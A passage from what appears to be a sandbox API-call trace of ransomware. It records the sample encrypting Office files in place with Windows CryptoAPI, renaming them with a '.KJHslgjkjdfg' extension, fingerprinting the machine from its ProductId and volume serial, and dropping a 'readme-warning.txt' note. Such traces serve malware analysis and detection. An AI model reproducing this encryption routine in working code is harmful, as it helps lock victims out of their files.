pdwDataLen=0x290efd0*=0xd980, dwBufLen=0xd980 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xd980) returned 1 [0142.756] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.756] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd980, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xd980, lpOverlapped=0x0) returned 1 [0142.757] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.757] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xda64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.757] SetEndOfFile (hFile=0x118) returned 1 [0142.760] GetProcessHeap () returned 0x2a0000 [0142.760] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0142.760] GetProcessHeap () returned 0x2a0000 [0142.760] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.kjhslgjkjdfg")) returned 1 [0142.761] CloseHandle (hObject=0x118) returned 1 [0142.761] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0142.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0142.763] GetProcessHeap () returned 0x2a0000 [0142.763] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.763] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.763] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0142.763] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0142.763] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.763] GetProcessHeap () returned 0x2a0000 [0142.763] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0142.763] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290efd0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290efd0*=0x50) returned 1 [0142.763] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.763] WriteFile (in: hFile=0x118, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290efe8*=0x50, lpOverlapped=0x0) returned 1 [0142.766] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0142.766] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0142.766] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0142.767] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0142.767] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0142.767] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0142.767] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.767] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.767] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x100000, lpOverlapped=0x0) returned 1 [0142.825] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x100000, dwBufLen=0x100000 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x100000) returned 1 [0142.839] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.839] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x100000, lpOverlapped=0x0) returned 1 [0142.844] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x153064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.844] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0142.844] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.844] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x52f80, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x52f80, lpOverlapped=0x0) returned 1 [0142.857] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x52f80, dwBufLen=0x52f80 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x52f80) returned 1 [0142.862] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.862] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x52f80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x52f80, lpOverlapped=0x0) returned 1 [0142.863] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.863] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x153064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.863] SetEndOfFile (hFile=0x118) returned 1 [0142.867] GetProcessHeap () returned 0x2a0000 [0142.867] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0142.867] GetProcessHeap () returned 0x2a0000 [0142.867] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.867] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.kjhslgjkjdfg")) returned 1 [0142.874] CloseHandle (hObject=0x118) returned 1 [0142.874] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0142.874] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0142.874] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0142.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0142.875] GetProcessHeap () returned 0x2a0000 [0142.875] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.876] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.876] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0142.876] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0142.878] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0142.878] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.878] GetProcessHeap () returned 0x2a0000 [0142.879] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0142.879] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0142.879] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.879] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0142.879] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0142.879] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0142.879] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0142.879] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0142.879] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0142.879] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0142.879] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.879] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.880] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x795, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x795, lpOverlapped=0x0) returned 1 [0142.880] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7a0, dwBufLen=0x7a0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7a0) returned 1 [0142.880] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.880] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x7a0, lpOverlapped=0x0) returned 1 [0142.880] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.880] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.880] SetEndOfFile (hFile=0x118) returned 1 [0142.883] GetProcessHeap () returned 0x2a0000 [0142.883] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0142.883] GetProcessHeap () returned 0x2a0000 [0142.883] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.kjhslgjkjdfg")) returned 1 [0142.884] CloseHandle (hObject=0x118) returned 1 [0142.884] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0142.884] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0142.884] GetProcessHeap () returned 0x2a0000 [0142.884] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0142.884] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0142.884] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0142.884] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.884] GetProcessHeap () returned 0x2a0000 [0142.884] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0142.884] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0142.884] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0142.884] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.884] GetProcessHeap () returned 0x2a0000 [0142.884] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0142.884] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0142.884] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0142.884] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.885] GetProcessHeap () returned 0x2a0000 [0142.885] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0142.885] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0142.885] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0142.885] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.885] GetProcessHeap () returned 0x2a0000 [0142.885] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0142.885] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0142.885] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0142.885] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.885] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0142.885] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0142.885] RegCloseKey (hKey=0x118) returned 0x0 [0142.885] GetProcessHeap () returned 0x2a0000 [0142.885] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0142.885] GetProcessHeap () returned 0x2a0000 [0142.885] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0142.885] GetProcessHeap () returned 0x2a0000 [0142.885] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0142.886] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0142.886] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0142.886] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0142.886] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0142.886] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0142.886] GetProcessHeap () returned 0x2a0000 [0142.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0142.886] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0142.886] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0142.886] GetProcessHeap () returned 0x2a0000 [0142.886] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0142.886] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\readme-warning.txt") returned 79 [0142.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0142.887] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0142.888] CloseHandle (hObject=0x118) returned 1 [0142.888] GetProcessHeap () returned 0x2a0000 [0142.888] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0142.888] GetProcessHeap () returned 0x2a0000 [0142.888] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0142.888] GetProcessHeap () returned 0x2a0000 [0142.888] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0142.888] GetProcessHeap () returned 0x2a0000 [0142.888] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0142.888] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.888] GetProcessHeap () returned 0x2a0000 [0142.889] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0142.889] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, 